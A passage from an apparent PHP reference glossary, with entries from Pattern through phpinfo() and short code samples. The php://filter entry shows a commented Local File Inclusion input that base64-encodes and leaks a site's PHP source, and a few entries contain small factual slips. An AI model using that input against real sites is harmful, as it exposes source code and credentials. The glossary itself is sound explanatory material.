// Do stuff
}
// Basic type matching
$var is string;
$var is int|float;
$var is ?array;
$var is (Account&Authenticated)|User;
$var is mixed; // Matches anything, effectively a wildcard.
// Literal patterns
$var is \foo\;
$var is 5;
$var is 3|5|null;
$var is 'heart'|'spade'|self::Wild;
?>
See Also
Related
- Syntax
- Algebraic Data Type
- Generalized Algebraic Data Type (GADT)
- Sealed Class
- Sum Type
- Option Type
- Pattern
- Range Type
- Result Type
- Structural Pattern Matching
Pattern
A pattern is a named, reusable solution to a commonly recurring problem in software design. Patterns are not finished code; they are templates that describe a proven structure, the problem it solves, and the trade-offs involved in applying it.
The concept was popularised in software by the Gang of Four, Gamma, Helm, Johnson, Vlissides, in their 1994 book Design Patterns: Elements of Reusable Object-Oriented Software, which catalogued 23 patterns grouped into three categories:
- Creational patterns manage object creation: singleton, factory method, abstract factory, builder, prototype
- Structural patterns organise classes and objects: adapter, bridge, composite, decorator, facade, flyweight, proxy
- Behavioural patterns define communication between objects: chain of responsibility, command, iterator, mediator, memento, observer, state, strategy, template method, visitor
PHP supports all classical OOP patterns through its class system. Many patterns are also embedded in popular frameworks. For example, Laravel uses Facade, Repository, and Observer, Symfony uses Decorator, Event Dispatcher, and Dependency Injection.
Patterns have a broader scope beyond OOP: architectural patterns such as MVC, CQRS, Event Sourcing, etc, concurrency patterns, and enterprise integration patterns all describe recurring solutions at different levels of abstraction.
A pattern applied in the wrong context becomes an anti-pattern.
<?php
// Strategy pattern: swap algorithms at runtime behind a common interface
interface SortStrategy {
public function sort(array $data): array;
}
class BubbleSort implements SortStrategy {
public function sort(array $data): array {
// bubble sort implementation
return $data;
}
}
class QuickSort implements SortStrategy {
public function sort(array $data): array {
// quicksort implementation
return $data;
}
}
class Sorter {
public function __construct(private SortStrategy $strategy) {}
public function sort(array $data): array {
return $this->strategy->sort($data);
}
}
$sorter = new Sorter(new QuickSort());
$sorted = $sorter->sort([3, 1, 4, 1, 5]);
?>
See Also
Related
- Anti-Pattern
- Pattern Matching
- Pattern-Based Analysis
- Polymorphism
- Interface
- Specification
- Best Practices
- Look-up
- Null Pattern
- Write Everything Twice (WET)
- Yoda Condition
Pay-as-you-go
Pay-as-you-go is a cloud billing model in which customers are charged only for the resources they actually consume, rather than paying a fixed fee for reserved capacity.
In practice this means: compute time, counted with CPU-seconds or request count, memory, measured by Gb per hours, storage measured by Gb per month, and outgoing traffic on the network are all billed in small, incremental units. When usage is zero, the cost is zero.
This model is dominant in serverless and function-as-a-service platforms, where PHP code can be deployed as individual functions. It contrasts with reserved or on-demand instance pricing, where a virtual machine runs continuously whether or not it handles traffic.
For PHP applications, pay-as-you-go infrastructure influences architecture decisions: short-lived, stateless PHP processes fit well, while long-running workers or persistent database connections may require different strategies.
Pay-as-you-go pricing is also offered by SaaS products and APIs where cost scales directly with usage.
See Also
Related
Payload
A payload is the data carried by a request or response. The payload is distinct from its envelope headers, routing information, and metadata. In an HTTP context, the payload is the body of the message: a JSON object, an XML document, form data, or a binary stream.
The term is also used outside HTTP: a queue message has a payload, a JWT has a payload, and a webhook notification carries a payload describing the event.
The request payload is typically read from php://input for raw bodies, or accessed through framework helpers that parse and validate it.
<?php
$payload = json_decode(file_get_contents('php://input'), true);
?>
See Also
Related
- Hyper Text Transfer Protocol (HTTP)
- HTTP Headers
- JavaScript Object Notation (JSON)
- Webhook
- JSON Web Token (JWT)
- Response
- php://input
- Request
Process Control (pcntl)
Process Control is a set of native PHP function, that handles signals coming from the OS.
pcntl is suited for CLI operations, and not for web serving operations.
pcntl manage process creation, program execution, signal handling and process termination.
<?php
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
} else if ($pid) {
// we are the parent
pcntl_wait($status); //Protect against Zombie children
} else {
// we are the child
}
?>
See Also
Related
pcntl_signal()
pcntl_signal() installs a signal handler for a given OS signal. When the specified signal is received by the PHP process, the installed callable is executed.
Common signals include SIGTERM, the graceful termination, SIGINT, the Ctrl+C interrupt, SIGHUP, the reload configuration, and SIGCHLD, the child process state change. The constant SIG_DFL restores the default OS handler and SIG_IGN ignores the signal.
Signal handlers are not called immediately when a signal arrives: the engine checks for pending signals between opcodes. Calling pcntl_async_signals(true) enables asynchronous signal dispatching so that handlers run as soon as the signal is received, without waiting for the next opcode boundary.
pcntl_signal() is available only in CLI SAPI and requires the pcntl extension.
<?php
pcntl_async_signals(true);
pcntl_signal(SIGTERM, function (int $signal): void {
echo 'Received SIGTERM, shutting down gracefully.' . PHP_EOL;
// Clean up resources, flush buffers, etc.
exit(0);
});
pcntl_signal(SIGINT, function (int $signal): void {
echo 'Received SIGINT (Ctrl+C).' . PHP_EOL;
exit(0);
});
echo 'Running... send SIGTERM or press Ctrl+C' . PHP_EOL;
while (true) {
sleep(1);
}
?>
See Also
Related
PCOV
PCOV is a PIE extension dedicated to code coverage collection. It records which lines of code were executed during a test run, the same job Xdebug can do, but PCOV does only that, with none of Xdebug’s step debugging, profiling, or tracing machinery, which makes it substantially faster.
Code coverage is used to measure how much of a codebase is exercised by a test suite, typically reported as a percentage of lines, branches, or functions covered. Test runners such as PHPUnit can drive PCOV directly through its API to produce coverage reports, for example in Clover XML or HTML.
Because it has a single purpose, PCOV is the preferred choice for coverage collection in CI pipelines where Xdebug would otherwise slow the run down considerably; Xdebug remains preferable when interactive step debugging is also needed.
<?php
// PHPUnit driven with PCOV as the coverage driver:
// vendor/bin/phpunit --coverage-html coverage/
// (PHPUnit auto-detects and prefers PCOV over Xdebug when both are loaded.)
// Low-level API, rarely called directly by application code.
pcov\start();
require 'code-under-test.php';
$waiting = pcov\collect(pcov\inclusive, [__DIR__ . '/code-under-test.php']);
pcov\clear();
print_r($waiting);
?>
See Also
Related
Perl Compatible Regular Expressions (PCRE)
PCRE is the library that supports regular expressions. It offers functions to search and replace in strings, and arrays of strings.
PHP exposes PCRE through the preg_* family of functions: preg_match() and preg_match_all() search for a pattern, preg_replace() and preg_replace_callback() substitute matches, preg_split() breaks a string apart using a pattern as the delimiter, and preg_quote() escapes special characters in user-supplied strings so they can be safely embedded in a pattern. Patterns are written as delimited strings, most commonly with / as the delimiter, and support modifiers such as i for case-insensitive matching or m for multiline mode.
PCRE patterns are considerably more expressive than the simpler POSIX regular expressions PHP used to support, via the now-removed ereg functions, offering features like lookahead and lookbehind assertions, named capture groups, and non-greedy quantifiers. Because complex patterns can be slow or, in pathological cases, exhibit catastrophic backtracking, patterns built from untrusted input deserve particular care.
<?php
preg_match('/PHP is (.*?)\./', 'PHP is fantastic.', $r);
print $r[1]; // fantastic
?>
See Also
Related
PDF, Portable Document Format, is a file format developed by Adobe that presents documents independently of software, hardware, or operating system. It is widely used for reports, invoices, contracts, and other print-ready documents.
PHP does not include a built-in PDF extension in its standard library. Several libraries are available: TCPDF and FPDF generate PDFs from scratch using PHP code; mPDF converts HTML/CSS to PDF; and Dompdf also renders HTML to PDF.
For reading or manipulating existing PDFs, smalot/pdfparser extracts text and metadata, and tools like pdftk can be called via exec().
The libharu extension provides a binding to the Haru Free PDF Library.
<?php
// Using Dompdf to generate a PDF from HTML
use Dompdf\Dompdf;
$dompdf = new Dompdf();
$dompdf->loadHtml('<h1>Hello, PDF!</h1><p>Generated by PHP.</p>');
$dompdf->setPaper('A4', 'portrait');
$dompdf->render();
// Output to browser
$dompdf->stream('document.pdf', ['Attachment' => false]);
?>
See Also
Related
Related packages
PHP Data Objects (PDO)
PHP Data Objects, aka PDO, is an interface that abstract access to databases. The same interface may be used to access different databases.
PDO provides access 10 different databases:
- CUBRID
- MS SQL Server
- Firebird
- IBM
- Informix
- MySQL
- MS SQL Server
- Oracle
- ODBC and DB2
- PostgreSQL
- SQLite 2 and 3
The different access relies on drivers and DSN to connect to a database. The DSN describes the server to reach, and the driver handles the communication protocol.
<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
?>
Related
- Data Source Name (DSN)
- Relational DataBase Management System (RDBMS)
- Abstraction Layer
- Data Access Object (DAO)
- Resource Leak
- Rollback
- Structured Query Language (SQL)
- SQLite3
- Database Commit
- mysqli
- Oracle
- Transaction
- Connection Pool
PDOException
PDOException represents an error raised by PDO. It is recommended to never throw a PDOException from custom code, and only catch such exception, emitted directly by the PHP engine.
<?php
try {
$pdo = new PDO('sqlite:myfile.sqlite');
} catch(PDOException $e) {
die('Unable to open database connection');
}
?>
See Also
Related
Product Requirements Document (PDR)
A Product Requirements Document, or PRD, is a formal document used in product management to outline the purpose, features, functionality, and behavior of a product or feature before development begins. It serves as a blueprint for the product team, developers, designers, and stakeholders, ensuring everyone is aligned on what needs to be built and why.
See Also
Related
PEAR
PEAR stands for ‘PHP Extension and Application Repository’. It was a framework and distribution system for reusable PHP components, libraries, and software packages. PEAR provides a structured and standardized way to package and distribute PHP code, making it easier for developers to share and reuse code across projects.
Nowadays, PEAR is not much used anymore and is replaced by composer.
See Also
Related
PHP Extension C Library (PECL)
PECL is a repository for PHP Extensions, providing a directory of all known extensions and hosting facilities for downloading and development of PHP extensions.
Since 2024, PECL is being replaced by PIE.
PECL is pronounced pickle.
See Also
- PIE vs PECL: A Composer-Style Revolution for PHP Extensions
- What is the difference between PEAR, Composer and PECL in PHP?
Related
Penetration Test
A pentest, short for penetration test, is a simulated cyberattack against a server, or application to identify and exploit security vulnerabilities. The goal is to find weaknesses that real attackers could exploit, so they can be fixed before a breach occurs.
See Also
Related
- Injection
- Vulnerability
- Common Vulnerabilities And Exposures (CVE)
- Fuzzing
- Black Box Testing
- Capture The Flag (CTF)
- White Box Testing
- XSS Payload
Percentile
A percentile is a statistical measure indicating the value below which a given percentage of observations in a dataset fall. The 95th percentile, p95, is the value below which 95% of the observations lie; the remaining 5% are equal to or greater than it.
In monitoring and performance analysis, percentiles are used to summarize distributions of measurements, such as request latency or response time, in a way an average cannot: an average is easily skewed by a few very fast requests, and it hides the experience of the slowest users. p50, the median, p95, and p99 are commonly reported together, alongside the average, to describe both the typical case and the tail of a distribution.
Service Level Agreements often use percentiles for their commitments, for example 95% of requests complete in under 200ms, rather than an average, because tail latency is what real users notice.
<?php
function percentile(array $values, float $p): float {
sort($values);
$index = ($p / 100) * (count($values) - 1);
$lower = (int) floor($index);
$upper = (int) ceil($index);
if ($lower === $upper) {
return $values[$lower];
}
$fraction = $index - $lower;
return $values[$lower] + $fraction * ($values[$upper] - $values[$lower]);
}
$latencies = [12, 45, 20, 300, 18, 22, 40, 15, 19, 500];
echo percentile($latencies, 95); // p95 latency
?>
See Also
Related
- Monitoring
- Service Level Agreement (SLA)
- Metrics
- Application Performance Management (APM)
- Performance
- Latency
Performance
Performance refers to the speed of execution, or, to a lesser extent, to the economy of resources used.
The speed of execution is the time it takes for a task to be completed, and usually, the faster the better. In that context, there is a distinction between unit performance and parallel performances, where several instances are executed at the same time.
The performance of a piece of code may cover its memory consumption, or any other constrained resource.
See Also
Related
- Benchmarking
- Quality
- Scaling
- Static Single Assignment Form (SSA)
- Optimisation
- Preprocessing
- Types Erasure
- Vertical Scaling
- Dynamic Loading
- Foreign Function Interface (FFI)
- Total Cost Of Ownership (TCO)
- Treemap
- Troubleshoot
- Flame Graph
- Memoization
- Micro-optimisation
- Latency
- Quality of Service (QoS)
- Rate Limiting
- Service Level Agreement (SLA)
- Cold Start
- Premature Optimization
- Throughput
- Excimer
- Hot Cache
- Percentile
- Profiling
Permission
A permission is the approval or consent given to someone or something to perform a specific action, access certain information, or use a resource. Permissions define what a person or system can and cannot do.
A permission may be granted, or revoked. A permission to grant permission is called a grant.
There are permissions to access a database or a server; there are permissions to access files. Permission may also be related to visibility, which is the permission to access the internals of an object, depending on the calling context.
See Also
Related
- File
- Visibility
- Database
- Access Control List (ACL)
- Authorize
- fopen()
- Role Based Access Control (RBAC)
Persistence
Persistence is related to the life cycle of a resource. A piece of data is said to be persistent when it exceeds the duration of the current process.
In particular, databases, sessions, shared memory, file system or cache allows for persistent storage: the current process may store data there, and retrieve it later, provided it has transmitted an identifier.
Persistence also applies to database connection, where the connection is not closed at the end of the current process, but stays open for the next to reuse it, saving some overhead, but keeping a connection open even if not busy.
Persistent storage may also be called permanent storage.
See Also
Related
PostgreSQL
pgsql is the name of the PHP extension that provides the interface to interact with the PostgreSQL database.
pgsql defines functions, constants and classes. It has been upgraded to use objects instead of resources.
<?php
// example from the PHP manual : https://www.php.net/manual/en/pgsql.examples-basic.php
// Connecting, selecting database
$dbconn = pg_connect('host=localhost dbname=publishing user=www password=foo')
or die('Could not connect: ' . pg_last_error());
// Performing SQL query
$query = 'SELECT * FROM authors';
$result = pg_query($dbconn, $query) or die('Query failed: ' . pg_last_error());
?>
See Also
- PostgreSQL homepage
- How to Connect PHP and PostgreSQL
- How to build an Application with PHP and PostgreSQL
Related
- Database
- Structured Query Language (SQL)
- JavaScript Object Notation (JSON)
- Relational DataBase Management System (RDBMS)
- SQL Database
Phantom Type
A phantom type is a generic type that carries a type parameter which does not appear in the runtime representation of the value. The parameter exists only at the type-checking level, adding information that guides the static analyser without any runtime cost.
The classic use case is encoding state in the type. A Connection<Closed> and a Connection<Open> have identical runtime structure but different static types, so calling query() on a closed connection becomes a compile-time error rather than a runtime exception. The phantom parameter Closed or Open holds no data; it is purely a type-level marker.
Phantom types are a lightweight alternative to dependent types for expressing invariants that can be tracked statically. They are used in Haskell, Rust, zero-sized marker types, and TypeScript, branded types via & { readonly __brand: 'USD' }.
PHP does not support phantom types natively. Generic type parameters are not a language feature. However, a partial simulation is possible using PHPStan or Psalm template annotations for static analysis purposes only, with no runtime enforcement. Branded value objects achieve a similar discrimination effect at the cost of wrapping every value in an object.
<?php
// PHP approximation using PHPStan @template (static analysis only, no runtime effect)
/**
* @template TStatus
*/
final class Connection {
public function __construct(private readonly \PDO $pdo) {}
}
/** @return Connection<'open'> */
function openConnection(string $dsn): Connection {
return new Connection(new \PDO($dsn));
}
/**
* @param Connection<'open'> $conn
*/
function query(Connection $conn, string $sql): array {
// PHPStan will warn if a Connection<'closed'> is passed
return [];
}
?>
See Also
- Phantom Types in TypeScript: Stop Mixing Kilograms and Pounds at Compile Time
- Phantom types in Swift | Swift with Majid
Related
Phar
Phar is the PHP Archive. It groups multiple files into a single one, and allows the direct execution or inclusion of that code.
ext/phar is also a PHP extension, used to create and read the PHAR archives.
Phar archives may be zipped.
<?php
$phar = new Phar('myphar.phar');
$pgz = $phar->convertToExecutable(Phar::TAR, Phar::GZ); // makes myphar.phar.tar.gz
?>
See Also
Related
PharException
The PharException class is a phar-specific exception. It is raised my many Phar-related methods, and are generally differentiated based on their message, rather than having different types of exception. For example, 'Cannot call constructor twice' or 'Phar creation or opening failed'.
<?php
$phar = new Phar($myPhar);
try {
$phar->extractTo($directory, 'directory/', true);
} catch (PharException $ex) {
print "An error happened while extracting the phar";
}
?>
See Also
- PHP Exception Handling - PharException
- A Beginner’s Guide to the PHP Phar Library for Packaging and Distribution
Related
PHP AI Editor
A PHP AI editor is a development environment or plugin that integrates artificial intelligence to assist with writing, reviewing, and refactoring PHP code. AI editors provide features such as code completion, inline suggestions, error explanations, test generation, and natural-language-driven refactoring.
Prominent AI editors and assistants used with PHP include GitHub Copilot, integrated into VS Code, JetBrains IDEs, and others, JetBrains AI Assistant, built into PhpStorm, Cursor, an AI-first fork of VS Code, and Claude Code, a CLI tool by Anthropic. Many editors rely on large language models trained on code to generate context-aware suggestions.
AI editors are increasingly combined with static analysis tools, so that suggestions respect project-specific coding standards, type information, and detected issues.
See Also
- GitHub Copilot vs Cursor: AI Code Editor Review
- Cursor vs GitHub Copilot: Which AI Assistant Is Best for PHP Development?
Related
- PHP Editor
- Integrated Environment of Development (IDE)
- Large Language Model (LLM)
- Artificial Intelligence (AI)
- Autocompletion
PHP Native Attributes
PHP defines its own native attributes.
- Attribute
- ReturnTypeWillChange
- SensitiveParameter
- AllowDynamicProperties
- Override
- Deprecated
- NoDiscard
- DelayedTargetValidation.
<?php
#[Deprecated]
class Elephpant {}
?>
See Also
Related
- Attribute Class
- Return Type Will Change
- Sensitive Parameter
- Allow Dynamic Properties
- Override Attribute
- Deprecated
- NoDiscard
- delayedtargetvalidation
- Overriding
PHP Constants
PHP provides a set of predefined global constants.
The set of predefined variables changes with PHP versions: for example, in version 8.0, T_READONLY was not defined, and appeared in version 8.1.
It is possible to list all available PHP native constants with the function get_declared_constants().
<?php
print E_ALL;
print PHP_VERSION;
?>
See Also
Related
PHP Docker Container
This is a Docker container, with a pre-installed PHP executable.
There are official PHP containers, maintained by the PHP group. They are to be run on Docker.
There are also other containers which come with PHP preinstalled, or which are built for a specific target, such as a service or the underlying architecture.
See Also
Related
PHP Editor
A PHP editor is a software tool used to write, edit, and debug PHP source code. Editors range from plain text editors with syntax highlighting to full-featured Integrated Development Environments, IDE, with code completion, refactoring, debugging, and static analysis integration.
The most widely used PHP IDE is PhpStorm by JetBrains, which provides deep PHP understanding including type inference, inspections, and built-in Xdebug support. VS Code is a popular lightweight editor with PHP support through extensions such as PHP Intelephense or the PHP extension pack. Eclipse PDT and NetBeans offer open-source alternatives.
Key IDE features for PHP development include: code completion and navigation, integrated Xdebug support, refactoring tools, PHPDoc parsing, integration with Composer, PHPUnit, and version control systems.
Related
- Integrated Environment of Development (IDE)
- PHP AI Editor
- Debugger
- Xdebug
- Autocompletion
- Linting
- PHP Manual
PHP Extensions
Extensions are PHP engine module system. They are compiled into PHP, and offer extra features, such as functions, classes, traits and directive.
Extensions are published in the PIE repository. They were used to be published in the PECL repository, but it is being sunset at the moment.
Some are available by default, in the PHP standard configuration.
<?php
// Example with the ext/pspell extensions, for orthographic checks
$pspell = pspell_new("en");
if (pspell_check($pspell, "testt")) {
echo "This is a valid spelling";
} else {
echo "Sorry, wrong spelling";
}
?>
See Also
Related
Framework Interoperability Group (FIG)
FIG is the Framework Interoperability Group. It is moving PHP forward through collaboration and standards.
In particular, it discusses, writes and publish PSR, the PHP Standard Recommendations. They are currently numbered from 1 to 22, which some retired numbers.
Famous PSR include: 12, Extended Coding Style Guide; 16, Simple Cache; 18 HTTP client.
See Also
Related
php://filter
php://filter is a meta-wrapper that allows applying one or more filter chains to a stream before the data is read or written. It is part of the php:// family of built-in stream wrappers.
A filter chain is specified in the URL itself: php://filter/read=<filters>/resource=<target>. Built-in filters include string conversions string.toupper, encoding transforms convert.base64-encode, convert.iconv.*, and compression zlib.deflate.
While legitimately used to read or transform stream data on-the-fly, php://filter is widely exploited in Local File Inclusion vulnerabilities. By using convert.base64-encode, an attacker can read the raw PHP source of any included file instead of executing it, leaking credentials and logic. Advanced exploit chains using iconv filters can even achieve remote code execution from an LFI alone.
<?php
// Legitimate use: read a file and base64-encode its contents on the fly
$encoded = file_get_contents('php://filter/read=convert.base64-encode/resource=config.php');
// Attacker use (LFI context): exfiltrate PHP source code via include
// include($_GET['page']);
// => ?page=php://filter/read=convert.base64-encode/resource=index.php
// Returns base64 of index.php source instead of executing it
?>
See Also
Related
- php://
- Wrapper
- Stream
- Local File Inclusion
- Remote Code Execution (RCE)
- filter
- Security
- Base 64 Encoding
PHP Foundation
The PHP Foundation focuses on providing financial support and guidance to PHP language developers to support its goals of improving the language for its users, providing high-quality maintenance, and improving the PHP language project to retain current contributors and to integrate new contributors.
See Also
- The PHP Foundation’s mission to keep millions of sites safe
- The Quiet Shift Reshaping PHP Security
- Welcome, Brent Roose
Related
PHP Native Function
PHP defines its own native functions. They are part of the core extensions, which are always compiled, or extensions.
PHP native functions do not have a definition available, unlike component or custom functions. They are handled by the PHP engine, and documented.
For example, strlen is a PHP native function, which measures the length of a string, in bytes. There are a lot of PHP functions available.
PHP native functions may be disabled at startup, with the disabled_functions directive.
It is possible to reach PHP native function definitions on the php.net website by adding their name in the URL. For example: https://www.php.net/strlen.
<?php
print_r(get_defined_functions());
?>
See Also
Related
PHP Group
The PHP Group is an informal list of PHP authors, which is listed at the top of the PHP credits. They took part in major developments of PHP, and in it decision making. That list has been rarely updated across the years.
The PHP Foundation is nowadays taking the role to lead and organize the development of PHP.
See Also
Related
php://input
php://input is a special read-only stream that gives access the raw body of an incoming HTTP request. It does not work with CLI environment.
When a browser sends data to the web server, PHP parses it into superglobals like $_POST. But sometimes the exact raw payload is needed: that’s where php://input comes in.
The raw data used to be accessed via $HTTP_RAW_POST_DATA, but this is a deprecated feature.
<?php
$incoming = file_get_contents('php://input');
?>
See Also
Related
PHP Native Interfaces
PHP defines its own native interfaces. They are used with the native classes, and are usually available with custom code.
For example, Countable is a PHP native interface, which designates objects that can be passed to the count() function. On the other hand, Throwable is a native interface, which is characteristic of Exception and Error. It may be used for typing, with catch clauses, or with instanceof but must be implemented by extending the two former classes.
Native interfaces depend on the compiled extensions. Native interfaces are introduced in major or minor versions, so their number evolves with time.
<?php
print_r(get_declared_interfaces());
?>
See Also
Related
- Traversable
- IteratorAggregate
- Iterator
- Serializable
- ArrayAccess
- Countable Interface
- Stringable
- Throwable
- UnitEnum
- BackedEnum
- DateTimeInterface
- DOMParentNode
- DOMChildNode
- JsonSerializable
- RecursiveIterator
- OuterIterator
- SeekableIterator
- SplObserver
- SplSubject
- SessionHandlerInterface
- SessionIdInterface
- SessionUpdateTimestampHandlerInterface
- Reflector
- Random\CryptoSafeEngine
- Random\Engine
PHP Manual
The PHP Manual is the official documentation for the PHP language. It covers the language syntax, all built-in functions, extensions, and ChangeLog entries for each PHP version.
The manual is collaboratively maintained and translated into many languages. Each function page includes a description, a signature with parameter and return types, a changelog, usage notes, and user-contributed comments that often provide practical examples and gotchas.
The manual is available offline through the downloadable many HTML files or single-page HTML formats, and is integrated into most PHP IDEs as hover documentation. The URL scheme php.net/function-name provides a shortcut to any function page.
<?php
// Access the manual shortcut from your browser:
// https://www.php.net/array_map
// https://www.php.net/str_contains
// Many editors show inline manual excerpts when hovering over a function name.
?>
See Also
Related
php://memory
php://memory is a special read-write stream that gives access a space in memory. It is removed at the end of execution of the current code, so this stream is ideal for temporary and fast storage.
php://memory always stays in memory, so it may reach the memory limit of PHP. On the other hand, php://tmp does the same, but overflows to disk when needed.
<?php
file_put_contents('php://memory', $data);
$data = file_get_contents('php://memory');
?>
See Also
Related
PHP Native Attribute
PHP supports a system of attributes, to add local configuration to methods, classes, etc. There are currently, as of PHP 8.5, 7 attributes:
AttributeAllowDynamicPropertiesReturnTypeWillChangeSensitiveParameterOverrideDeprecatedNoDiscardDelayedTargetValidation.
<?php
class Calf extends Elephpant {
#[Override]
function trumpet() {
}
}
?>
See Also
Related
- Attribute
- Allow Dynamic Properties
- Return Type Will Change
- Sensitive Parameter
- Override Attribute
- Deprecated
- delayedtargetvalidation
- NoDiscard
- Overriding
php://output
php://output is a special write-only stream that gives access to the body of the outgoing HTTP response. It does not work with CLI environment.
php://output is also implicitly written when using echo, print, the HTML mode, or print_r().
<?php
$incoming = file_put_contents('php://output', '<p>hello world</p>');
?>
See Also
Related
- Hyper Text Transfer Protocol (HTTP)
- Stream
- Echo
- php://input
- file_put_contents()
- $HTTP_RAW_POST_DATA
PHP RFC
PHP evolution is organized by RFC, a Request for comments. They are also called change proposals.
On the PHP wiki, a section is dedicated to PHP new features: they are presented, then voted upon.
See Also
Related
PHP Runtime
The PHP runtime is the engine that executes PHP code. It includes the PHP core extensions, and the custom ones.
There is an official PHP runtime, provided by the PHP official website. It is maintained by the PHP Foundation. It is mostly written in C.
There are also custom runtimes, which take the PHP code as input, and execute it. They are built with other languages, and strive to execute as much as possible of PHP’s features, though they have to make trade-offs to fit specific features: for example, extension libraries are not always available.
- PHP on Rust
- PHP on Zig
- PHP on Java, via Quercus
- PHP on Wasm
These projects are complete rewrites of PHP with another technology. This is distinct from embedding PHP, where an original PHP engine is incorporated in another language.
See Also
Related
PHP Tags
When PHP parses a file, it looks for opening and closing tags, which are <?php and ?> which tell PHP to start and stop interpreting the code between them.
The classic PHP tag is <?php, and it also has a short version, for better serving xml tags: <?. This one relies on the short_open_tag directive.
Previously, PHP supported also Javascript-style and ASP-style tags, though these are now unsupported.
<?php
// This is the classic PHP tag
?>
<?
// This is the short PHP tag
?><?= "Hello world";
// This is the short echo PHP tag
?>
See Also
Related
php://tmp
php://tmp is a special read-write stream that gives access a space in memory. It is removed at the end of execution of the current code, so this stream is ideal for temporary and fast storage.
php://tmp stays in memory, and, when reaching a certain level, it overflows to disk. This allows this space to go beyond the maximum memory limit of PHP, without stopping the script.
<?php
file_put_contents('php://tmp', $data);
$data = file_get_contents('php://tmp');
?>
See Also
Related
PHP User Groups
PHP-UG are the PHP User Groups. They are informal groups of PHP developer and related, who gather on a regular to irregular schedule. They usually have an organisation time, speakers and various activities. There are user group all over the world.
See Also
Related
PHP Variables
PHP provides a set of predefined variables. They may be super-global, and available in any context, such as $_GET; they may also be classic variables, in the global scope, such as $argv.
The set of predefined variables changes with PHP versions: for example, in version 8.0, $phperrormsg was definitely removed.
The set of predefined variables also depended on PHP directives. $HTTP_RAW_POST_DATA depended upon the always_populate_raw_post_data directive.
<?php
print_r($_GET);
print_r($argv); // when in CLI
print_r($GLOBALS);
function trumpet() {
global $argc;
}
?>
See Also
Related
PHP Wrappers
A wrapper is a custom way to access remote resources. It is designed to look like accessing a file, on the file system, but using other drivers than the ones of the hard drive. It is based on a configuration string, which looks like a URL: ftp://www.site.com/file.txt, where the part before the :// is the protocol.
Among the predefined PHP wrappers, there are http://, ftp://, zlib://, phar://, rar://, expect://.
<?php
$html = file_get_content('http://www.php.net/');
?>
See Also
Related
Related packages
PHP, Hypertext Preprocessor (PHP)
A popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from personal blog to the most popular websites in the world.
It was invented by Rasmus Lerdorf, on June 8th, 1995. PHP is a recursive acronym, which defines itself: PHP, Hypertext Preprocessor. It initially meant Personal Home Page.
<?php
phpinfo();
?>
See Also
- Learn PHP
- What does PHP mean?
- Taking PHP Seriously
- Revolutionizing Web Development with the Power of PHP
- What I Learned Implementing the Same Program in Seven Languages
- PHP - webreference
- Vanilla PHP
- PHP Tutorial | Learn PHP
- Code With PHP
- PHP at webereference
Related
- Zend Engine
- Ecosystem
- \.htaccess
- html_errors
- Linux Apache Mysql PHP (LAMP)
- Linux Nginx Mysql PHP (LEMP)
- max_execution_time
- PHP Manual
- Preprocessing
php.ini
php.ini is the name of the main configuration file of PHP. It acts as the default configuration.
php.ini contains directives. For example, memory_limit or default_socket_timeout.
They may be later redefined using other mechanisms, such as command line options -d, .htaccess or in-code function call ini_set(), although it may vary depending on the directive.
See Also
Related
- Directives
- \.htaccess
- ini_set()
- Disable Classes
- expose_php
- open_basedir
- phpinfo()
- Configuration
- parse_ini_file()
- Short Tags
- short_open_tag
- WHM (WebHost Manager)
PHP_EOL
PHP_EOL is a native PHP constant that holds the end-of-line sequence used by the operating system PHP is running on.
PHP_EOL is \n on Unix-like systems, macOS included, and \r\n on Windows. Using PHP_EOL instead of a hardcoded \n makes scripts that write plain text files, such as logs or CLI output, produce line endings that match the host platform, which matters for tools that expect the native convention.
PHP_EOL is only useful for output meant to be read on the local machine or by local tools. Text destined for the web, such as HTML output or HTTP headers, should keep using \n, since browsers and network protocols are not affected by the server’s own line ending convention.
<?php
echo 'First line' . PHP_EOL . 'Second line';
echo 'New line may be
in the string itself
'; // New line here, though it breaks the code readability
// Writing a log file with platform-native line endings
file_put_contents('app.log', 'Started' . PHP_EOL, FILE_APPEND);
?>
See Also
Related
PHP_INT_MAX
PHP_INT_MAX is the largest integer that can be processed by PHP.
Nowadays, PHP_INT_MAX is often 9223372036854775807. This value depends on the underlying machine: in particular, 64-bit machine and OS have larger values of PHP_INT_MAX, while 32-bit ones have smaller. The hardware and the software have to be compatible to provide a larger value of PHP_INT_MAX.
Beyond PHP_INT_MAX, integers are often converted to floats, and loose precision.
There is also PHP_INT_MIN, which is the negative version of PHP_INT_MAX, minus one.
<?php
$max = PHP_INT_MAX;
var_dump(is_int($max)); // true
?>
See Also
Related
- integer
- Floating Point Numbers
- PHP_INT_MIN
- precision
- Absolute Value
- Implementation-Defined Behavior
- PHP_EOL
- Signed Integer
PHP_INT_MIN
PHP_INT_MIN is the smallest integer that can be processed by PHP.
Nowadays, PHP_INT_MIN is often -9223372036854775808. This value depends on the underlying machine: in particular, 64 bits, machine and OS, have larger absolute values of PHP_INT_MIN, while 32 bits have smaller. The hardware and the software have to be compatible to provide a larger absolute value of PHP_INT_MIN.
Beyond PHP_INT_MIN, integers are often converted to floats, and loose precision.
There is also PHP_INT_MAX, which is the positive version of PHP_INT_MIN, minus one.
<?php
$max = PHP_INT_MIN;
var_dump(is_int($max)); // true
?>
See Also
Related
PHPdoc
PHPDoc is a style of PHP comments. Those comments are delimited by /** */.
PHPdoc comments are different from the other styles of PHP comments in their syntax. They are also used for PHP annotations, and are sometimes confused with them.
PHPDoc annotations are an adaptation of Javadoc for the PHP programming language. It is a formal way to comment specific PHP structures, that is machine readable.
PHPDoc has a special token, to make it easier to extract it from the code.
PHPdoc may be exploited by automated documentation tools, static analyzers, or IDEs.
<?php
/**
* Check if a number is prime
*
* @param int $int The number to test
*
* @return bool : is it prime or not
*/
function prime(int $int): bool {
// ...
}
?>
See Also
Related
phpinfo()
phpinfo() is one of the most famous PHP functions. It outputs information about PHP’s configuration and compilation, in HTML format.
By default, phpinfo() prints the PHP version, the operating system it runs on, the build date, the compiler used, the Server API, and the full list of loaded extensions with each of their own settings. It also lists every directive currently defined in php.ini, along with its local and master value, the configured include path, environment variables, HTTP headers of the current request, and PHP’s license information. An optional integer argument, made of the INFO_* constants combined with a bitwise OR, restricts the output to a subset of these sections, such as INFO_MODULES or INFO_VARIABLES; the default is INFO_ALL.
phpinfo() has existed since PHP 4, and is frequently one of the first functions used to verify that PHP is correctly installed and configured on a server, traditionally by dropping a single-line <?php phpinfo(); ?> file and requesting it through a browser.
